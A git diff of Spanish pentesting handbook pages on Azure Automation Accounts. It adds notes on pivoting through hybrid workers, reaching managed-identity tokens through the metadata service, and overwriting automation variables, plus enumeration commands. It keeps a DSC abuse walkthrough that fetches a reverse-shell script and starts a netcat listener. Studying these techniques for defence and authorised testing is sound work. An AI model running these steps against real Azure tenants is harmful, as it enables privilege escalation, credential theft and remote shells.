diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index d2bb823ae..b1fb99911 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -10,9 +10,18 @@ Para más información, consulta: ../az-services/az-automation-accounts.md {{#endref}} +### Hybrid Workers + +Recuerda que si de alguna manera un atacante puede ejecutar un runbook arbitrario (código arbitrario) en un hybrid worker, él **pivotará a la ubicación de la VM**. Esto podría ser una máquina local, un VPC de otra nube o incluso una VM de Azure. + +Además, si el hybrid worker se está ejecutando en Azure con otras Identidades Administradas adjuntas, el runbook podrá acceder a la **identidad administrada del runbook y todas las identidades administradas de la VM desde el servicio de metadatos**. + +> [!TIP] +> Recuerda que el **servicio de metadatos** tiene una URL diferente (**`http://169.254.169.254`**) que el servicio desde donde se obtiene el token de identidades administradas de la cuenta de automatización (**`IDENTITY_ENDPOINT`**). + ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -En resumen, estos permisos permiten **crear, modificar y ejecutar Runbooks** en la Cuenta de Automatización, que podrías usar para **ejecutar código** en el contexto de la Cuenta de Automatización y escalar privilegios a las **Identidades Administradas** asignadas y filtrar **credenciales** y **variables** encriptadas almacenadas en la Cuenta de Automatización. +En resumen, estos permisos permiten **crear, modificar y ejecutar Runbooks** en la Cuenta de Automatización, que podrías usar para **ejecutar código** en el contexto de la Cuenta de Automatización y escalar privilegios a las **Identidades Administradas** asignadas y filtrar **credenciales** y **variables encriptadas** almacenadas en la Cuenta de Automatización. El permiso **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar el código de un Runbook en la Cuenta de Automatización usando: ```bash @@ -38,7 +47,11 @@ az automation runbook publish \ ``` El permiso **`Microsoft.Automation/automationAccounts/jobs/write`** permite al usuario ejecutar un Runbook en la Cuenta de Automatización utilizando: ```bash -az automation runbook start --automation-account-name --resource-group --name +az automation runbook start \ +--automation-account-name \ +--resource-group \ +--name \ +[--run-on ] ``` El permiso **`Microsoft.Automation/automationAccounts/jobs/output/read`** permite al usuario leer la salida de un trabajo en la Cuenta de Automatización utilizando: ```bash @@ -150,6 +163,7 @@ az automation runbook replace-content --no-wait \ --content 'echo "Hello World"' # Run the unpublished code +## Indicate the name of the hybrid worker group in runOn to execute the runbook there az rest \ --method PUT \ --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \ @@ -165,7 +179,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -Este permiso permite al usuario **configurar un control de fuente** para la Cuenta de Automatización utilizando comandos como el siguiente (esto usa Github como ejemplo): +Este permiso permite al usuario **configurar un control de fuente** para la Cuenta de Automatización utilizando comandos como el siguiente (este usa Github como ejemplo): ```bash az automation source-control create \ --resource-group \ @@ -182,30 +196,46 @@ az automation source-control create \ ``` Esto importará automáticamente los runbooks del repositorio de Github a la Automation Account y con algunos otros permisos para comenzar a ejecutarlos sería **posible escalar privilegios**. -Además, recuerda que para que el control de origen funcione en Automation Accounts debe tener una identidad administrada con el rol **`Contributor`** y si es una identidad administrada por el usuario, esto también se puede configurar estableciendo en la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** el **client id** de la identidad administrada por el usuario a utilizar. +Además, recuerda que para que el control de versiones funcione en las Automation Accounts, debe tener una identidad administrada con el rol **`Contributor`** y si es una identidad administrada por el usuario, el id del cliente de la MI debe especificarse en la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. > [!TIP] -> Ten en cuenta que no es posible cambiar la URL del repo de un control de origen una vez que se ha creado. +> Ten en cuenta que no es posible cambiar la URL del repositorio de un control de versiones una vez que se ha creado. +### `Microsoft.Automation/automationAccounts/variables/write` + +Con el permiso **`Microsoft.Automation/automationAccounts/variables/write`** es posible escribir variables en la Automation Account utilizando el siguiente comando. +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"name": "", +"properties": { +"description": "", +"value": "\"\"", +"isEncrypted": false +} +}' +``` ### Entornos de Ejecución Personalizados Si una cuenta de automatización está utilizando un entorno de ejecución personalizado, podría ser posible sobrescribir un paquete personalizado del entorno con algún código malicioso (como **una puerta trasera**). De esta manera, cada vez que se ejecute un runbook que utilice ese entorno personalizado y cargue el paquete personalizado, se ejecutará el código malicioso. -### Comprometiendo la Configuración de Estado +### Compromiso de la Configuración de Estado **Consulta la publicación completa en:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) - Paso 1 — Crear Archivos **Archivos Requeridos:** Se necesitan dos scripts de PowerShell: -1. `reverse_shell_config.ps1`: Un archivo de Desired State Configuration (DSC) que obtiene y ejecuta la carga útil. Se puede obtener de [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +1. `reverse_shell_config.ps1`: Un archivo de Configuración de Estado Deseado (DSC) que obtiene y ejecuta la carga útil. Se puede obtener de [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). 2. `push_reverse_shell_config.ps1`: Un script para publicar la configuración en la VM, disponible en [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). **Personalización:** Las variables y parámetros en estos archivos deben adaptarse al entorno específico del usuario, incluidos los nombres de recursos, rutas de archivos e identificadores de servidor/carga útil. - Paso 2 — Comprimir el Archivo de Configuración -El `reverse_shell_config.ps1` se comprime en un archivo `.zip`, preparándolo para la transferencia a la Azure Storage Account. +El `reverse_shell_config.ps1` se comprime en un archivo `.zip`, preparándolo para su transferencia a la Cuenta de Almacenamiento de Azure. ```powershell Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` @@ -223,13 +253,13 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` El script se edita para especificar la VM de Windows objetivo y el puerto para el shell inverso. -- Paso 5 — Publicar Archivo de Configuración +- Paso 5 — Publicar archivo de configuración El archivo de configuración se ejecuta, lo que resulta en que el script de shell inverso se despliega en la ubicación especificada en la VM de Windows. -- Paso 6 — Alojar Carga Útil y Configurar Escucha +- Paso 6 — Alojar carga útil y configurar el oyente -Se inicia un Python SimpleHTTPServer para alojar la carga útil, junto con un listener de Netcat para capturar conexiones entrantes. +Se inicia un Python SimpleHTTPServer para alojar la carga útil, junto con un oyente de Netcat para capturar conexiones entrantes. ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index 9c31708db..d56943616 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -4,7 +4,7 @@ ## Información Básica -Las Cuentas de Automatización de Azure son servicios basados en la nube en Microsoft Azure que ayudan a **automatizar tareas** como la gestión de recursos, la configuración y las actualizaciones en entornos de Azure y locales. Proporcionan **Runbooks** (scripts para automatización que se ejecutan), **programaciones** y **grupos de trabajadores híbridos** para ejecutar **trabajos** de automatización, habilitando infraestructura como código (IaC) y automatización de procesos para mejorar la eficiencia y consistencia en la gestión de recursos en la nube. +Las Cuentas de Automatización de Azure son servicios basados en la nube en Microsoft Azure que ayudan a **automatizar tareas** como la gestión de recursos, la configuración y las actualizaciones en entornos de Azure y locales. Proporcionan **Runbooks** (scripts para automatización que se ejecutan), **programaciones** y **grupos de trabajadores híbridos** para ejecutar **trabajos de automatización**, habilitando infraestructura como código (IaC) y automatización de procesos para mejorar la eficiencia y consistencia en la gestión de recursos en la nube. ### Configuraciones @@ -46,11 +46,11 @@ Cuando la sincronización está habilitada, en el **repositorio de Github se cre Ten en cuenta que estos webhooks **no serán visibles** al listar webhooks en los runbooks asociados al repositorio de Github. También ten en cuenta que **no es posible cambiar la URL del repositorio** de un control de versiones una vez creado. -Para que el control de versiones configurado funcione, la **Cuenta de Automatización de Azure** necesita tener una identidad administrada (sistema o usuario) con el rol de **`Contribuyente`**. Además, para asignar una identidad administrada de usuario a la Cuenta de Automatización, es posible hacerlo simplemente configurando la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** al **ID de Cliente de la Identidad Administrada de Usuario**. +Para que el control de versiones configurado funcione, la **Cuenta de Automatización de Azure** necesita tener una identidad administrada (sistema o usuario) con el rol de **`Contribuyente`**. Además, para asignar una identidad administrada de usuario a la Cuenta de Automatización, es necesario indicar el ID de cliente de la MI de usuario en la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. ### Entornos de Ejecución -Al crear un Runbook es posible seleccionar el entorno de ejecución. Por defecto, los siguientes entornos de ejecución están disponibles: +Al crear un Runbook, es posible seleccionar el entorno de ejecución. Por defecto, los siguientes entornos de ejecución están disponibles: - **Powershell 5.1** - **Powershell 7.1** @@ -61,21 +61,28 @@ Al crear un Runbook es posible seleccionar el entorno de ejecución. Por defecto Sin embargo, también es posible **crear tus propios entornos**, utilizando uno de estos como base. En el caso de Python, es posible subir paquetes `.whl` al entorno que se utilizará. En el caso de PowerShell, es posible subir paquetes `.zip` con los módulos que se tendrán en la ejecución. -### Trabajador Híbrido +### Grupos de Trabajadores Híbridos -Un Runbook puede ejecutarse en un **contenedor dentro de Azure** o en un **Trabajador Híbrido** (máquina no Azure).\ -El **Agente de Análisis de Registros** se despliega en la VM para registrarla como un trabajador híbrido.\ -Los trabajos de trabajadores híbridos se ejecutan como **SYSTEM** en Windows y como cuenta **nxautomation** en Linux.\ -Cada Trabajador Híbrido está registrado en un **Grupo de Trabajadores Híbridos**. +En Azure Automation, el entorno de ejecución predeterminado para los runbooks es el **Azure Sandbox**, una plataforma basada en la nube gestionada por Azure, adecuada para tareas que involucran recursos de Azure. Sin embargo, este sandbox tiene limitaciones, como el acceso restringido a recursos locales y restricciones en el tiempo de ejecución y uso de recursos. Para superar estas limitaciones, se emplean Grupos de Trabajadores Híbridos. Un Grupo de Trabajadores Híbridos consiste en **uno o más Trabajadores de Runbook Híbridos instalados en tus propias máquinas**, ya sea en local, en otros entornos de nube o en VMs de Azure. Esta configuración permite que los runbooks se ejecuten directamente en estas máquinas, proporcionando acceso directo a recursos locales, la capacidad de ejecutar tareas más largas y que consumen más recursos, y la flexibilidad para interactuar con entornos más allá del alcance inmediato de Azure. -Por lo tanto, si puedes elegir ejecutar un **Runbook** en un **Trabajador Híbrido de Windows**, ejecutarás **comandos arbitrarios** dentro de una máquina externa como **System** (buena técnica de pivot). +Cuando se crea un grupo de trabajadores híbridos, es necesario indicar las **credenciales** a utilizar. Hay 2 opciones: + +- **Credenciales predeterminadas**: No necesitas proporcionar las credenciales y los runbooks se ejecutarán dentro de las VMs como **Sistema**. +- **Credenciales específicas**: Necesitas proporcionar el nombre del objeto de credenciales dentro de la cuenta de automatización, que se utilizará para ejecutar los **runbooks dentro de las VMs**. Por lo tanto, en este caso, podría ser posible **robar credenciales válidas** para las VMs. + +Por lo tanto, si puedes elegir ejecutar un **Runbook** en un **Trabajador Híbrido de Windows**, ejecutarás **comandos arbitrarios** dentro de una máquina externa como **Sistema** (una buena técnica de pivot). + +Además, si el trabajador híbrido se está ejecutando en Azure con otras Identidades Administradas adjuntas, el runbook podrá acceder a la **identidad administrada del runbook y todas las identidades administradas de la VM desde el servicio de metadatos**. + +> [!TIP] +> Recuerda que el **servicio de metadatos** tiene una URL diferente (**`http://169.254.169.254`**) que el servicio desde donde se obtiene el token de identidades administradas de la cuenta de automatización (**`IDENTITY_ENDPOINT`**). ### Configuración de Estado (SC) >[!WARNING] -> Como se indica en [la documentación](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la Configuración de Estado de Automatización de Azure será retirada el 30 de septiembre de 2027 y reemplazada por [Configuración de Máquina de Azure](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview). +> Como se indica en [la documentación](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la Configuración de Estado de Automatización de Azure será retirada el 30 de septiembre de 2027 y reemplazada por [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview). -Las Cuentas de Automatización también soportan **Configuración de Estado (SC)**, que es una característica que ayuda a **configurar** y **mantener** el **estado** de tus VMs. Es posible **crear** y **aplicar** configuraciones DSC a máquinas **Windows** y **Linux**. +Las Cuentas de Automatización también admiten **Configuración de Estado (SC)**, que es una característica que ayuda a **configurar** y **mantener** el **estado** de tus VMs. Es posible **crear** y **aplicar** configuraciones DSC a máquinas **Windows** y **Linux**. Desde la perspectiva de un atacante, esto era interesante porque permitía **ejecutar código PS arbitrario en todas las VMs configuradas**, permitiendo escalar privilegios a las identidades administradas de estas VMs, potencialmente pivotando a nuevas redes... Además, las configuraciones podrían contener **información sensible**. @@ -180,6 +187,15 @@ az automation dsc configuration show --automation-account-name --resource-group --name + +# Get hybrid worker groups for an automation account +az automation hrwg list --automation-account-name --resource-group + +# Get hybrid worker group details +az automation hrwg show --automation-account-name --resource-group --name + +# Get more details about a hybrid worker group (like VMs inside it) +az rest --method GET --url "https://management.azure.com/subscriptions//resourceGroups/>/providers/Microsoft.Automation/automationAccounts//hybridRunbookWorkerGroups//hybridRunbookWorkers?&api-version=2021-06-22" ``` ```powershell